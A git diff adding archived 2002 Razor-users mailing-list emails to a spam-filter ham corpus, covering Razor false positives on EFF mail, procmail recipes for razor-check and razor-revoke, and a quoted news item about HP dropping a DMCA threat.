http://razor.sourceforge.net/ +> SPAM: +> SPAM: -------------------- End of SpamAssassin results --------------------- +> X-Spam: [SPAM] - Spam Assassin +> +> +> +> http://news.com.com/2100-1023-947740.html +> +> Document: HP backs off DMCA threat +> +> By CNET News.com Staff +> August 1, 2002, 6:10 PM PT +> +> Hewlett-Packard Thursday abandoned legal threats it made against security +> analysts who publicized flaws in the company's software. +> +> In a statement released late Thursday, HP said it would not use the Digital +> Millennium Copyright Act (DMCA), a controversial copyright law, to pursue a +> loosely-organized team of researchers who demonstrated a bug in the company's +> Tru64 Unix operating system. +> +> The following is the company's statement: +> +> 1) HP is committed to protecting our customer's security environments. +> +> 2) We have verified that there is a security vulnerability with Tru64 UNIX, the +> details of which were brought to our attention July 18. The problem has now been +> isolated and HP has been preparing a fix, which will be available within the +> next 48 hours. +> +> 3) We won't comment on the specifics of our discussions with SnoSoft. However, +> we take our customers' security requirements very seriously and have a strong +> track record following industry-standard security practices. +> +> 4) Where and how the DMCA should be applied is a matter of great controversy. +> The reported letter to SnoSoft was not consistent or indicative of HP's policy. +> We can say emphatically that HP will not use the DMCA to stifle research or +> impede the flow of information that would benefit our customers and improve +> their system security. +> +> +> +> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> Robin D. Gross - Cyberspace Attorney @ Law - Intellectual Property +> Director - Campaign for Audiovisual Free Expression (CAFE) +> Electronic Frontier Foundation +> 454 Shotwell Street, San Francisco, CA 94110 +> e: robin@eff.org w: http://www.eff.org +> p: 415.863.5459 f: 415.436.9993 +> http://www.eff.org/cafe +> http://www.eff.org/IP/Open_licenses +> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> +> +> +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00563.f4a00af5c67850407e4200df11e458d3 b/bayes/spamham/easy_ham_2/00563.f4a00af5c67850407e4200df11e458d3 new file mode 100644 index 0000000..21a3fe8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00563.f4a00af5c67850407e4200df11e458d3 @@ -0,0 +1,162 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 11:07:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 228794411E + for ; Tue, 6 Aug 2002 06:02:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:02:48 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g72MGVv13840 for ; Fri, 2 Aug 2002 23:16:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17akXD-0002Uv-00; Fri, + 02 Aug 2002 15:04:35 -0700 +Received: from www.ctyme.com ([209.237.228.10] helo=darwin.ctyme.com) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17akUr-00074J-00 for + ; Fri, 02 Aug 2002 15:02:09 -0700 +Received: from m206-56.dsl.tsoft.com ([198.144.206.56] helo=perkel.com) by + darwin.ctyme.com with asmtp (TLSv1:RC4-MD5:128) (Exim 3.35 #1) id + 17akTr-0003cG-00 for razor-users@lists.sourceforge.net; Fri, + 02 Aug 2002 15:01:07 -0700 +Message-Id: <3D4B0146.20604@perkel.com> +From: Marc Perkel +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: razor-users@example.sourceforge.net +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [Razor-users] False Positives on EFF Messages +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 02 Aug 2002 15:01:42 -0700 +Date: Fri, 02 Aug 2002 15:01:42 -0700 + +Hi everyone, + +I'm the systems admin for the Electronic Frontier Foundation and I'm using razor +running under spam assassin there and one my own personal server. Generally it +works fine with near 0 false positives - except - that almost all the false +positives I've seen are on messages that originated at EFF. + +So - I am wondering why RAZOR is catching EFF email and how is this happening. +Below is an example of what I'm talking about. + +--------------------------------- + +Envelope-to: pcn@virtualrecordings.com +X-Sender: robin@mail.eff.org +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +To: eff-ip@eff.org +From: Robin Gross +Subject: [E-IP] HP backs off DMCA threat - CNET.com +Sender: eff-ip-admin@eff.org +X-BeenThere: eff-ip@eff.org +X-Mailman-Version: 2.0.11 +List-Unsubscribe: , + +List-Id: Intelectual Property +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +X-Original-Date: Fri, 02 Aug 2002 10:15:12 -0700 +Date: Fri, 02 Aug 2002 10:15:12 -0700 + tests=MAILTO_LINK,RAZOR_CHECK + version=2.40 +2002/07/29 16:25:10 jmason Exp $) + SPAM: -------------------- Start SpamAssassin results ---------------------- + SPAM: This mail is probably spam. The original message has been altered + SPAM: so you can recognise or block similar unwanted mail in future. + SPAM: See http://spamassassin.org/tag/ for more details. + SPAM: + SPAM: Content analysis details: (7.1 hits, 5 required) + SPAM: MAILTO_LINK (0.1 points) BODY: Includes a URL link to send an +email + SPAM: RAZOR_CHECK (7.0 points) Listed in Razor, see +http://razor.sourceforge.net/ + SPAM: + SPAM: -------------------- End of SpamAssassin results --------------------- +X-Spam: [SPAM] - Spam Assassin + + + +http://news.com.com/2100-1023-947740.html + +Document: HP backs off DMCA threat + +By CNET News.com Staff +August 1, 2002, 6:10 PM PT + +Hewlett-Packard Thursday abandoned legal threats it made against security +analysts who publicized flaws in the company's software. + +In a statement released late Thursday, HP said it would not use the Digital +Millennium Copyright Act (DMCA), a controversial copyright law, to pursue a +loosely-organized team of researchers who demonstrated a bug in the company's +Tru64 Unix operating system. + +The following is the company's statement: + +1) HP is committed to protecting our customer's security environments. + +2) We have verified that there is a security vulnerability with Tru64 UNIX, the +details of which were brought to our attention July 18. The problem has now been +isolated and HP has been preparing a fix, which will be available within the +next 48 hours. + +3) We won't comment on the specifics of our discussions with SnoSoft. However, +we take our customers' security requirements very seriously and have a strong +track record following industry-standard security practices. + +4) Where and how the DMCA should be applied is a matter of great controversy. +The reported letter to SnoSoft was not consistent or indicative of HP's policy. +We can say emphatically that HP will not use the DMCA to stifle research or +impede the flow of information that would benefit our customers and improve +their system security. + + + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Robin D. Gross - Cyberspace Attorney @ Law - Intellectual Property +Director - Campaign for Audiovisual Free Expression (CAFE) +Electronic Frontier Foundation +454 Shotwell Street, San Francisco, CA 94110 +e: robin@eff.org w: http://www.eff.org +p: 415.863.5459 f: 415.436.9993 +http://www.eff.org/cafe +http://www.eff.org/IP/Open_licenses +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00564.5d9d3d4ebddcd338604ae63d5b01f037 b/bayes/spamham/easy_ham_2/00564.5d9d3d4ebddcd338604ae63d5b01f037 new file mode 100644 index 0000000..4ec279c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00564.5d9d3d4ebddcd338604ae63d5b01f037 @@ -0,0 +1,102 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 11:08:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B75374412A + for ; Tue, 6 Aug 2002 06:04:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:04:06 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g72NTEv15890 for ; Sat, 3 Aug 2002 00:29:14 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aljs-0004z9-00; Fri, + 02 Aug 2002 16:21:44 -0700 +Received: from 208-150-110-21-adsl.precisionet.net ([208.150.110.21] + helo=neofelis.ixazon.lan) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17aliS-0000ur-00 for + ; Fri, 02 Aug 2002 16:20:17 -0700 +Received: by neofelis.ixazon.lan (Postfix, from userid 504) id CFFCA3C47A; + Fri, 2 Aug 2002 19:20:01 -0400 (EDT) +Content-Type: text/plain; charset="iso-8859-1" +From: "cmeclax po'u le cmevi'u ke'umri" +Reply-To: cmeclax@ixazon.dynip.com +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] False Positives on EFF Messages +X-Mailer: KMail [version 1.2] +References: <3D4B0146.20604@perkel.com> +In-Reply-To: <3D4B0146.20604@perkel.com> +Comment: li 0x18080B5EBAEAEC17619A6B51DFF93585D986F633 cu sevzi le mi ckiku +MIME-Version: 1.0 +Message-Id: <02080219195506.20486@neofelis> +Content-Transfer-Encoding: 8bit +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 2 Aug 2002 19:19:55 -0400 +Date: Fri, 2 Aug 2002 19:19:55 -0400 + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +de'i Friday 02 August 2002 18:01 la Marc Perkel cusku di'e +> Hi everyone, +> +> I'm the systems admin for the Electronic Frontier Foundation and I'm using +> razor running under spam assassin there and one my own personal server. +> Generally it works fine with near 0 false positives - except - that almost +> all the false positives I've seen are on messages that originated at EFF. +> +> So - I am wondering why RAZOR is catching EFF email and how is this +> happening. Below is an example of what I'm talking about. + +I added code to my procmailrc (on the other account) so that anything that +comes on Bugtraq and is in Razor is revoked. Bugtraq is moderated, so spam +doesn't get through it. The recipe revoked a message about an hour after I +added it. + +:0 Wc +| razor-check + +:0 a +{ + :0 + * !^(some Bugtraq-specific header) + !fesmri@ixazon.dynip.com + + :0 E + | razor-revoke +} + +cmeclax +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) + +iD8DBQE9SxOd3/k1hdmG9jMRAqz2AJ4yYsmri9qP3l8c61T9SFL5yQ1y6gCeJA71 +CretKENIo9OyI7HgLm112jI= +=jodf +-----END PGP SIGNATURE----- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00565.630d62a91f6d1b297a2069007700e2ae b/bayes/spamham/easy_ham_2/00565.630d62a91f6d1b297a2069007700e2ae new file mode 100644 index 0000000..fdd6e95 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00565.630d62a91f6d1b297a2069007700e2ae @@ -0,0 +1,101 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 11:11:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 41E2044108 + for ; Tue, 6 Aug 2002 06:06:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:06:23 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g735B2v01568 for ; Sat, 3 Aug 2002 06:11:02 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ar2a-0005fK-00; Fri, + 02 Aug 2002 22:01:24 -0700 +Received: from joseki.proulx.com ([216.17.153.58]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17ar1J-0005F3-00 for ; Fri, + 02 Aug 2002 22:00:05 -0700 +Received: from misery.proulx.com (misery.proulx.com [192.168.1.108]) by + joseki.proulx.com (Postfix) with ESMTP id 2FCA114B07 for + ; Fri, 2 Aug 2002 22:59:55 -0600 (MDT) +Received: by misery.proulx.com (Postfix, from userid 1000) id 071DCA8968; + Fri, 2 Aug 2002 22:59:55 -0600 (MDT) +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] False Positives on EFF Messages +Message-Id: <20020803045955.GA21527@misery.proulx.com> +Mail-Followup-To: razor-users@example.sourceforge.net +References: <3D4B0146.20604@perkel.com> <02080219195506.20486@neofelis> +MIME-Version: 1.0 +Content-Type: multipart/signed; micalg=pgp-sha1; + protocol="application/pgp-signature"; + boundary="sm4nu43k4a2Rpi4c" +Content-Disposition: inline +In-Reply-To: <02080219195506.20486@neofelis> +User-Agent: Mutt/1.4i +From: bob@proulx.com (Bob Proulx) +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 2 Aug 2002 22:59:55 -0600 +Date: Fri, 2 Aug 2002 22:59:55 -0600 + + +--sm4nu43k4a2Rpi4c +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +Content-Transfer-Encoding: quoted-printable + +cmeclax po'u le cmevi'u ke'umri [2002-08-02 19:19:55 -0= +400]: +> I added code to my procmailrc (on the other account) so that anything tha= +t=20 +> comes on Bugtraq and is in Razor is revoked. Bugtraq is moderated, so spa= +m=20 +> doesn't get through it. The recipe revoked a message about an hour after = +I=20 +> added it. + +The problem with automatic revoke is the same as with automatic +report. If spammers spoof a From: Bugtraq address then their spam is +automatically revoked by you. + +Bob + +--sm4nu43k4a2Rpi4c +Content-Type: application/pgp-signature +Content-Disposition: inline + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) + +iD8DBQE9S2NK0pRcO8E2ULYRAml8AJ95XkpwlAeD+ADm+35642dBeI6rKQCffEoJ +8HDuR9lyCStzdXzccNpTQhs= +=fUbp +-----END PGP SIGNATURE----- + +--sm4nu43k4a2Rpi4c-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00566.dbc5fe0b052e8d60b7a4e1d40f0d9652 b/bayes/spamham/easy_ham_2/00566.dbc5fe0b052e8d60b7a4e1d40f0d9652 new file mode 100644 index 0000000..ef08ac3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00566.dbc5fe0b052e8d60b7a4e1d40f0d9652 @@ -0,0 +1,86 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 11:12:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C722844126 + for ; Tue, 6 Aug 2002 06:08:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:08:40 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g73GNPv19494 for ; Sat, 3 Aug 2002 17:23:25 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17b1WY-0005lJ-00; Sat, + 03 Aug 2002 09:13:02 -0700 +Received: from adsl-209-204-188-196.sonic.net ([209.204.188.196] + helo=sidebone.sidney.com) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17b1Vx-0006Uz-00 for ; Sat, + 03 Aug 2002 09:12:25 -0700 +Received: from siddhi (siddhi.sidney.com [192.168.93.20]) by + sidebone.sidney.com (8.12.5/8.12.5) with SMTP id g73GCIvJ020067 for + ; Sat, 3 Aug 2002 09:12:18 -0700 +Message-Id: <01c301c23b08$8a3cc210$145da8c0@sidney.com> +From: "Sidney Markowitz" +To: +References: <3D4B0146.20604@perkel.com> <02080219195506.20486@neofelis> + <20020803045955.GA21527@misery.proulx.com> +Subject: Re: [Razor-users] False Positives on EFF Messages +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Scanned-BY: MIMEDefang 2.16 (www . roaringpenguin . com / mimedefang) +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sat, 3 Aug 2002 09:12:18 -0700 +Date: Sat, 3 Aug 2002 09:12:18 -0700 + +Bob Proulx wrote: +To: +Sent: Friday, August 02, 2002 9:59 PM +Subject: Re: [Razor-users] False Positives on EFF Messages + + +> If spammers spoof a From: Bugtraq address then their +> spam is automatically revoked by you. + +Good point, but notice that cmeclax said in his example procmail recipe: + + :0 + * !^(some Bugtraq-specific header) + +It should be possible to pick a header that a spammer is not likely forge. He was +even careful not to reveal in public just what header(s) he is checking. + + -- sidney + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00567.c05df9b21feaaef843a3decc2727f436 b/bayes/spamham/easy_ham_2/00567.c05df9b21feaaef843a3decc2727f436 new file mode 100644 index 0000000..6f332f0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00567.c05df9b21feaaef843a3decc2727f436 @@ -0,0 +1,74 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:27:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7725C44190 + for ; Tue, 6 Aug 2002 06:33:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:33:13 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75EWMk14401 for ; Mon, 5 Aug 2002 15:32:22 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bimD-00027p-00; Mon, + 05 Aug 2002 07:24:05 -0700 +Received: from efes.daimi.au.dk ([130.225.17.145]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17bilL-0007ig-00 for ; Mon, + 05 Aug 2002 07:23:11 -0700 +Received: (from glad@localhost) by efes.daimi.au.dk (8.11.6/8.11.6) id + g75EN4w31879; Mon, 5 Aug 2002 16:23:04 +0200 +From: Michael Glad +Message-Id: <200208051423.g75EN4w31879@efes.daimi.au.dk> +Subject: Re: [Razor-users] Trivial false-positives +In-Reply-To: <200208051411.g75EBOX31345@efes.daimi.au.dk> from Michael + Glad at + "Aug 5, 2002 04:11:24 pm" +To: Michael Glad +Cc: razor-users@example.sourceforge.net +X-Mailer: ELM [version 2.4ME+ PL60 (25)] +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 16:23:04 +0200 (CEST) +Date: Mon, 5 Aug 2002 16:23:04 +0200 (CEST) + +> +> It seems that an email consisting of a single line containg a +> control-M is detected as spam. +> +> It also seems that an email consisting of 5 blank lines is also +> treated as spam: + +Please ignore my last message. It seems that my problems results from +a homebrewn patch. + + -- Michael + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00568.4bfc868e8de382e58f6d9baee080b56a b/bayes/spamham/easy_ham_2/00568.4bfc868e8de382e58f6d9baee080b56a new file mode 100644 index 0000000..b6b3d87 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00568.4bfc868e8de382e58f6d9baee080b56a @@ -0,0 +1,102 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:28:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 08B3944174 + for ; Tue, 6 Aug 2002 06:28:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:28:29 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g759Siv05254 for ; Mon, 5 Aug 2002 10:28:44 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bdtG-0003AO-00; Mon, + 05 Aug 2002 02:11:02 -0700 +Received: from cedar.shu.ac.uk ([143.52.2.51]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17bdsN-0003n4-00 for ; Mon, + 05 Aug 2002 02:10:07 -0700 +Received: from cis-sys-03.csv.shu.ac.uk ([143.52.20.90] + helo=videoproducer) by cedar.shu.ac.uk with esmtp (Exim 3.36 #2) id + 17bdqM-0002aS-00; Mon, 05 Aug 2002 10:08:02 +0100 +Message-Id: <004e01c23c5f$96522240$5a14348f@videoproducer> +From: "Ray Gardener" +To: "Forrest English" , + +References: +Subject: Re: [Razor-users] report automation with pine? +Organization: Shefield Hallam University +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Mailscanner: Found to be clean +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 10:07:49 +0100 +Date: Mon, 5 Aug 2002 10:07:49 +0100 + + +----- Original Message ----- +From: "Forrest English" +To: +Sent: Saturday, August 03, 2002 9:30 AM +Subject: [Razor-users] report automation with pine? + + +> -----BEGIN PGP SIGNED MESSAGE----- +> Hash: SHA1 +> +> is there currently a way to integrate razor-report into +> pine? spamassassin is killing most of the major spam, but more and more +> stuff is sneaking in that is very short conscise... and +> annoying. usually with hotmail, aol or yahoo return addresses. i've +> blacklisted *@aol.com... but i'd rather start reporting this stuff in +> the hopes that it would help someone else avoid it. +> +> anyhow, if it could be done, let me know. thanks. + +setup the config of pine to +enable the enable-unix-pipe-cmd + +then when reading the message + +enter + +| razor-check + + +Regards + +Ray Gardener + +> + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00569.76b6e6837716e2abd44bd173abeca99b b/bayes/spamham/easy_ham_2/00569.76b6e6837716e2abd44bd173abeca99b new file mode 100644 index 0000000..174ef8c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00569.76b6e6837716e2abd44bd173abeca99b @@ -0,0 +1,171 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:28:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0B7064418D + for ; Tue, 6 Aug 2002 06:33:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:33:06 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75ESck14360 for ; Mon, 5 Aug 2002 15:28:39 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bihK-0001Fa-00; Mon, + 05 Aug 2002 07:19:02 -0700 +Received: from [208.7.1.205] (helo=everest.mckee.com) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17bigd-0005U5-00 for ; Mon, + 05 Aug 2002 07:18:19 -0700 +Received: (qmail 9445 invoked from network); 5 Aug 2002 09:16:12 -0000 +Received: from unknown (HELO belvoir) (208.7.1.202) by 208.7.1.205 with + SMTP; 5 Aug 2002 09:16:12 -0000 +Message-Id: <001701c23c8a$edd2be00$7c640f0a@mfc.corp.mckee.com> +From: "Fox" +To: +References: <000a01c23c86$e252b2f0$6600a8c0@dhiggins> +Subject: Re: [Razor-users] Reliability of the razor servers? +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_0014_01C23C69.66A70650" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 10:18:11 -0400 +Date: Mon, 5 Aug 2002 10:18:11 -0400 + +This is a multi-part message in MIME format. + 